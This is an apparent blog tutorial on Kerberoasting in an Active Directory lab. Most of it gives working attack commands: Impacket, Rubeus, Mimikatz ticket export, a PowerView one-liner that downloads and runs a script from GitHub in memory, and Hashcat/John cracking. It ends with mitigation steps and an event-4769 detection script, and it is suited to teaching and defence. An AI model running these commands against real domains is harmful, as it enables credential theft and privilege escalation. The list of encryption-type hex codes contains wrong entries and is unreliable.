Kerberoasting

In this tutorial, I will cover one of my favourite Privilege Escalation techniques “Kerberoasting”. I will not only show you how to perform a kerberoasting attack but also how you can mitigate and start to detect Keroasting in your environment. If you would like to follow along with this tutorial make sure you have your Active Directory LAB all set up, If not Check out my tutorial here. Also, make sure you have a Kali Linux box to hand which I have also got a tutorial for here,

Note: make sure both Virtual machines (windows Server and Kali)are on the same LAB network as your Active Directory domain otherwise you may run into problems with some of these commands.

What is Kerberoasting?

Kerberoasting is a Privilege escalation technique that abuses the Kerberos protocol to harvest passwords from Active Directory service accounts. What makes this interesting is that it’s actually a feature of Kerberos allowing any user, even a low-privileged one to be able to pull off this attack.

Back in 2014, a Security researcher Tim Medin unveiled this technique and there are now hundreds of awesome articles and conference talks with different techniques on perform a kerberoasting attack.

The below talk on YouTube is one of Tim’s original conference talks on kerberoasting and I would highly recommend watching this great talk before progressing further in this tutorial.

Note: Remember this talk was from 2014 and many of the tools and techniques have moved on. However, ill add Will Schroeder’s more recent video “Kerberoasting Revisited” below.

In a nutshell,

A Kerberoasting attack usually starts when an attacker compromises a domain user account and wants to elevate themselves to an administrator account. The attacker when authenticating the compromised details receives a Ticket Granting Ticket (TGT) from Kerberos that is signed by KRBTGT (Kerberos Ticket Granting Ticket) service account in Active Directory.

Next, the attacker requests a Service ticket for a service that has a user account assigned to it. “Don’t bother with services assigned to computer accounts you will not be able to crack the password in any sort of decent time frame”. The domain controller will retrieve the permissions out of Active Directory and create a TGS ticket, encrypting it with the service account password. The service and the domain controller, as a result, are the only things on the network that are capable of decrypting the ticket due to the two entities sharing the secret.

The Domain controller provides the user with a service ticket that is then presented to the service. This decrypts the ticket and determines whether the user has been granted permission to access the service. At this point, an attacker is able to extract the ticket from system memory which can then be brute-forced offline with something like Hashcat or John to receive the password in cleartext.

Now let’s set up a Kerberoastable service account in your Active Directory LAB and get some hands-on practice kerberoasting.

Create a Service Account

To perform a kerberoasting attack you need to first create a hackable service account in the Active Directory LAB. The reason this attack works so well is because accounts with admin privileges get assigned as service accounts all the time, These accounts usually are assigned relatively easy-to brute force passwords and never usually get changed “ If it’s not broke don’t fix it ” so let’s mimic this and make a copy of the administrator account.

• To start you must create an administrator account in Active Directory. This can be done by finding and right-clicking the administrator account in Active Directory and selecting copy.

• Then Add in the details for your new user. Click Next.

• Give the user an easy-to-guess password. I have gone for “Passw0rd” in this example but pick anything from Rockyou.txt. Confirm the easy-to-guess password and click next to set up the new user.

Create a Service account with Command Prompt

If you don’t fancy creating the Service account through the GUI you can also quickly create it with the command prompt.

net user securitytutorials Passw0rd /domain /add
net localgroup administrators securitytutorials /domain /add

Create a Service account with Powershell

You can also create the service account in Powershell using this command. remember as we are setting this up in our LAB for testing. Give the account an easy-to-guess password like “Passw0rd” or something from RockYou.txt

New-ADuser -Name Securitytutorials -SamAccountName Securitytutorials -enable $true -AccountPassword (Read-Host -AsSecureString "AccountPassword")
Add-ADGroupMember -Identity Administrators -Members securitytutorials

Setting an SPN (Service Principle Name)

Service Principal Names (SPNs) serve as Windows’ method for establishing distinct identities for service instances. These SPNs play a pivotal role in Kerberos authentication by linking a service instance with a Service Logon account. This integration empowers client applications to initiate account authentication through the service, even in cases where the client lacks specific account credentials.

Using Setspn, map a fictitious http service instance to the user that was created in the previous step. this can be done using the command below.

setspn -S  http/dc01.empire.local:8080 securitytutorials

To verify the proper configuration of the fabricated SPN, employ the Setspn command once more. This time, utilize the command with a -T parameter to indicate the domain and a -Q parameter for querying purposes. The inclusion of */* serves as a wildcard, facilitating the display of all associated SPNs.

setspn -T empire.local -Q */*

On executing the SetSPN query command, you should find the SPN that has just been created at the bottom of the list. we should now have everything in place to Kerberoast this password.

Within this tutorial, we just mapped an HTTP service to our domain and user account. However, it’s important to recognize that this is not the only service you can map to an SPN in this way. To provide a comprehensive overview, I’ve included a table featuring the most common service types along with their corresponding names. Try and generate additional SPNS using the table below.

Common Service Types

Name	Service Type
TERMSRV	Remote Desktop
SmtpSVC & SMTP	Mail
WSMAN	WinRM
ExchangeAB, ExchangeRFR & ExchangeMDM	MS Exchange
POP/POP3	POP3 Mail Service
IMAP/IMAP4	IMAP Service
MSSQLSvc	Microsoft SQL Server
GC	Global Catalog
DNS	DNS Server
HTTP	Web Server
LDAP	LDAP
Dfsr	File Server participating in DFRS

Once you’ve generated several SPNs, you might encounter the need to remove certain ones. Use the setspn -D command employing the identical format you used during the initial SPN creation process. (as below) Please note that executing this command will eliminate the mapping, rendering any further kerberoasting attempts impossible.

setspn -D http/dc01.empire.local:8080 securitytutorials

Should you want additional insights into the setspn command type ‘setspn /?‘ from a command prompt. This will provide a detailed overview of all the various switches and options associated with the setspn command.

Performing a kerberoasting attack

With the hackable SPN now established and linked to the service account, the exciting phase of executing a Kerberoasting attack is at hand. You’ll find an array of tools available to carry out this attack.

Among my personal favourites are those listed below…

Impacket

Impacket is an assortment of Python-based tools. Within this collection, there is the GetUsersSPNs.py script which can be used to perform a kerberoast attack. Impacket can be executed from any network-connected device equipped with Python, Additionally Impacket now also comes Pre-installed with Kali Linux.

You can download Impacket from Fortras github repo

From a Kali Linux box situated within the same network as the LAB domain controller, run the below command. For this command to work you need to specify details for any domain user which can be any low-privileged user on the domain and direct it towards the Ip address of the domain controller.

impacket-GetUserSPNs empire.local/Scout.Trooper01:Password01 -dc-ip  192.168.1.2 -request -output kerberoastLab

Once Impacket completes, navigate to the generated KerberoastLab file. this should reveal the saved hash for the securitytutorials user we created at the start of this tutorial.

PowerView

Up next, we have “PowerView” – a robust PowerShell script with an array of functions tailored for Active Directory domain renumeration. Amoung its meany functionalities, lies the prominent “Invoke-Kerberoast” function, meticulously designed for the purpose of kerberoasting within a domain.

To acquire PowerView, you have the option of downloading it from either the PowerShell Mafia or PowerShell Empire repositories on GitHub.

What’s truly intriguing about PowerView is its capability to execute directly in memory, right from the GitHub repository, without leaving a trace on the hard disk. This ingenious approach allows for the display of the hash information directly within the terminal. Regrettably, it’s worth noting that many contemporary antivirus solutions, including Defender, have caught up to this technique and now possess the ability to detect and prevent the execution of PowerView in such a manner.

The command provided below enables the direct execution of PowerView from the GitHub repository associated with Empire:

powershell.exe -NoP -NonI -Exec Bypass IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1');Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat

This is the output from the above command from my lab.

Mimikatz

Mimikatz stands as a versatile tool renowned for its proficiency in extracting passwords, hashes, pins, and Kerberos tickets directly from Windows memory. Its capabilities extend further to encompass actions such as pass-the-hash, pass-the-ticket, and the construction of golden tickets for authentication manipulation.

To acquire Mimikatz, you have two options:

1. You can access the source code on Gentilkiwi’s GitHub repository, where you can compile the tool on your own.
2. Alternatively, a precompiled binary version is also available on Parrotsec’s GitHub repository, offering a convenient route to obtain the tool’s functionalities.

Should you have an inclination towards exploring further applications of Mimikatz beyond kerberoasting, I invite you to delve into my additional tutorial Using Microsoft Tools to dump password hashes. This delves into the utilization of Microsoft tools for the extraction of password hashes..

To start kerberosting with Mimikatz your initial step involves requesting the kerberos ticket (TGT) with the following command. This action stores the acquired ticket in the systems memory so that we can grab it with mimikatz.

Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "http/dc01.empire.local:8080"

Then you can utilize Mimikatz to extract the requested hashes from memory and save the output into a .kirbi file. This can be achieved by employing the following command:

mimikatz.exe "kerberos::list /export" exit

Enclosed within the Kerberos ticket file “.kirbi” lies the essential NTLM Hash. This needs to be either cracked with Tim Medins Tgsrepcrack.py script or alternatively converted to be usable with Hashcat or John.

tgsrepcrack.py

You have the option to obtain a copy of ‘tgsrepcrack.py’ from Tim’s GitHub repository. However, it’s worth noting that Tim’s recommendation leans towards using ‘hashcat’ over this script. This preference stems from the limitations of the script, which only allows for single-threaded password brute-forcing, as opposed to ‘hashcat’ which offers more robust multithreading capabilities.

Below are the commands to execute ‘tgsrepcrack.py’:

tgsrepcrack.py wordlist.txt kirbixFile

tgsrepcrack.py wordlist.txt 1-40a10000vagrabt@http~dc01.empire.local~8080-EMPIRE.LOCAL.kirbix

kirbi2john

Despite its name suggesting otherwise,’Kirbi2john.py’ serves the purpose of facilitating the conversion of .kirbi files into a format compatible with cracking tools such as John or Hashcat. This Script is a part of Tims Kerberoast Github Repository. Employ the following command, using -o to specify where you want to save the converted file and then your Kirbi file.

kirbi2john -o JohnCrackablekirbi 1-40a1000-vagrant@http\~dc01.empire.local\~8080-EMPIRE.LOCAL.kirbi

Note: In the past, ‘kirbi2hashcat.py‘ was a necessary tool to process kirbi files for cracking with Hashcat. However, it’s noteworthy that Hashcat has evolved to seamlessly function with the kirbi2john format, rendering the intermediary ‘kirbi2hashcat.py‘ tool obsolete.

Rubeus

Rubeus serves as a powerful utility for raw interaction with Kerberos and the exploitation of associated vulnerabilities. Developed in C# .NET by SpectreOps, its implementation presents a considerable challenge for defenders aiming to identify its activities, particularly in cases where it is loaded reflectively through methods like PowerShell or with tools such as Cobalt’s “execute-assembly” or “SilentTrinity”. This complexity in detection underscores Rubeus’ efficacy in evading security measures.

The non-compiled binary is accessible for download through GhostPack’s GitHub repository. However, for our lab environment, there’s no need for concern, as we can utilize the precompiled binary provided in r3motecontrol’s GitHub repository. This approach is suitable, assuming you’ve deactivated your antivirus software. Yet in a production environment, it’s advisable to compile the binary yourself.

Once you’ve obtained or compiled Rubeus, initiate the process by executing the following command. This command instructs Rubeus to target the specific Service Principal Name (SPN) for which you intend to perform Kerberoasting on.

Rubeus.exe kerberoast /spn:http/dc01.empire.local:8080

It’s important to mention a few additional switches in Rubeus that can prove valuable. When appending “/tgtdeleg” at the end of your request, Rubeus will prompt the Ticket Granting Ticket (TGT) request using the currently authenticated user’s credentials.

Alternatively, by including the “/aes” switch, Rubeus will provide you with AES hashes in the output.

Rubeus.exe kerberoast /spn:http/dc01.empire.local:8080 /aes

You have the option to precisely define the user details from which you wish to execute your Kerberoasting request. The provided command example illustrates this, where I am specifically designating a compromised low-privileged user account for the operation.

Rubeus.exe kerberoast /spn:http/dc01.empire.local:8080 /creduser:empire.local\Scout.Trooper01 /credpassword:Password01

Lastly, the “/outfile” switch enables you to direct the hash output to a designated file. In the given example, I am directing the hash to be saved in a file named “rubeus.hash”.

Rubeus.exe kerberoast /spn:http/dc01.empire.local:8080 /creduser:empire.local\Scout.Trooper01 /credpassword:Password01 /outfile:rubeus.hash

Cracking the Hashes

Regardless of the tool or technique employed to acquire the hashes, it is now the opportune moment to brute force the hashes and hopefully uncover the corresponding clear-text passwords. Brute-forcing involves systematically testing the hash against an extensive wordlist containing thousands of potential passwords, with the aim of finding a match.

Kerberoasting is specifically only really effective when targeting user accounts due to a distinct disparity in password complexity. Unlike user accounts, computer accounts generally boast passwords that exceed 30 characters and are primarily composed of randomly generated sequences. Consequently, attempting to crack these intricate passwords within a feasible timeframe is an impossable challenge.

In the next part of the tutorial, i will delve into the two predominant brute forcing tools: Hashcat and John.

Hashcat

Among the two hash cracking programs, Hashcat holds a special place in my preference due to its remarkable feature that harnesses the power of your graphics card. By leveraging the GPU, Hashcat significantly accelerates the hash cracking process, leading to exponential reductions in cracking times. It’s worth noting that Hashcat can still operate using the CPU for hash cracking, yet in scenarios where GPU usage isn’t feasible, John tends to emerge as the more favorable choice.

In Kali Linux, you can typically find Hashcat preinstalled as part of the default package selection. However, if you’re seeking the most up-to-date version, you have the option to download the source code directly from the Hashcat website. This ensures that you’re always working with the latest and most advanced features available.

Hashcat should be preinstalled in Kali Linux by default, but if you are looking for the latest and greatest you can download the source from the hashcat website.

Once you have Hashcat installed, execute the following command:.

hashcat64 -m 13100 hash.txt Wordlist.txt

This instructs Hashcat to operate in the Kerberos 5, etype 23, TGS-REP “13100” mode, and then you just need to specify the path to the hash file and the desired wordlist.

In the event that the password you’re targeting exists within your specified wordlist, Hashcat will rapidly iterate through the list. Upon a successful match, you’ll receive a notification similar to the picture above.

John

I must confess that I predominantly rely on Hashcat for my cracking endeavors, as it proves to be my go-to choice approximately 99% of the time. However, it’s essential to acknowledge that John the Ripper, often referred to as “John” or “JTR,” is equally proficient in terms of speed when exclusively employing CPU-based cracking. Notably, John the Ripper comes pre-installed within Kali Linux. Should you desire the latest version, you can also access the source code from the Openwalls download page.

Unlike Hashcat, the syntax for the command in John the Ripper is reversed. Specifically, the wordlist should be specified before the hashes in the command.

john --format=krb5tgs --wordlist=wordlist hashes.text

If any of the words within your provided wordlist correspond to the hash you’re attempting to crack, you’ll observe an output like the example below. This signifies that John has successfully identified the password from the wordlist.

Mitigation

Mitigating kerberoasting attacks involves implementing robust security measures. To begin, ensure the implementation of a stringent password policy for all service accounts. This policy should mandate the use of passwords with a minimum length of 25 characters. Whenever feasible, opt for passwords comprised of random characters. As an alternative, a minimum of three randomly chosen words can also enhance password complexity. This proactive approach fortifies your defense against potential kerberoasting threats.

Adhering to the principle of least privilege is pivotal. Avoid granting system administrator privileges to service accounts unless absolutely necessary. Managed Service Accounts (MSAs) and Group Managed Service Accounts (gMSAs) serve as effective mechanisms for enhancing security. These accounts facilitate the utilization of long, complex passwords that undergo regular changes.

Third-party products specializing in password vaulting offer robust solutions for effectively managing service account passwords. These tools provide a secure environment for storing, rotating, and controlling access to sensitive credentials.

Event 4769

Event ID 4769, documented in the security log, serves to highlight instances where users are soliciting tickets from Active Directory. While it’s common for users to request around 10 to 20 of these tickets daily, what distinguishes kerberoasting tickets is their encryption type, specifically 0x17 which corresponds to RC4. Ordinarily, tickets are encrypted with type 0x12, representing AES 256. However, this isn’t an absolute rule, and further investigation should be undertaken when encountering deviations from this pattern.

Powershell to Check events for kerberoasting

Below is the PowerShell script also avalible from my Github repository that efficiently combs through the event log, targeting Kerberos service tickets sought with RC4 encryption. The outcome is neatly organized into a well-formatted tabulated output:

$KerbiEvents = Get-WinEvent -Logname security -FilterXPath "Event[System[(EventID=4769)]]and Event[EventData[Data[@Name='TicketEncryptionType']='0x17']]or Event[EventData[Data[@Name='TicketEncryptionType']='0x18']]" |
Select-Object `
@{Label='Time';Expression={$_.TimeCreated.ToString('g')}},
@{Label='UserName';Expression={$_.Properties[0].Value}},
@{Label='IPAddress';Expression={$_.Properties[6].Value}},
@{Label="ServiceName";Expression={$_.properties[2].value}},
@{Label="EncryptionType";Expression={$_.properties[5].value}}
$KerbiEvents | Out-Gridview

This output provides a clear overview of the time, username, Ipaddress , ServiceName and encryption type associated with each RC4-encrypted Kerberos service ticket request found in the event log.

Here is a list of some common hex values for encryption types and their corresponding encryption methods:

• 0x10: DES
• 0x11: AES 128
• 0x12: AES 256
• 0x13: RC4 with HMAC (AES 128)
• 0x14: RC4 with HMAC (AES 256)
• 0x17: RC4
• 0x18: RC4 with HMAC
• 0x1E: AES 128 with GCM
• 0x1F: AES 256 with GCM
• These hex values represent the encryption algorithms used in various Kerberos ticket requests and provide insights into the security measures applied to these tickets.

Enable Auditing of Kerberos Authentication Service.

In the most recent iteration of Windows Server 2022, the auditing of Kerberos Authentication Service is activated by default. However, for earlier Windows Server versions, enabling this feature requires configuring it through Group Policy settings.

To enable auditing for Kerberos Authentication Service, you can follow these steps:

1. Open the Group Policy Management Console (GPMC) on a machine with administrative privileges.
2. Navigate to “Computer Configuration” > “Policies” > “Windows Settings” > “Security Settings” > “Advanced Audit Configuration” > “Account Logon” > “Audit Kerberos Authentication Service”.
3. Configure the desired auditing settings, such as success and/or failure audits, based on your security requirements.
4. Apply the Group Policy to the appropriate Organizational Unit (OU) or target computers.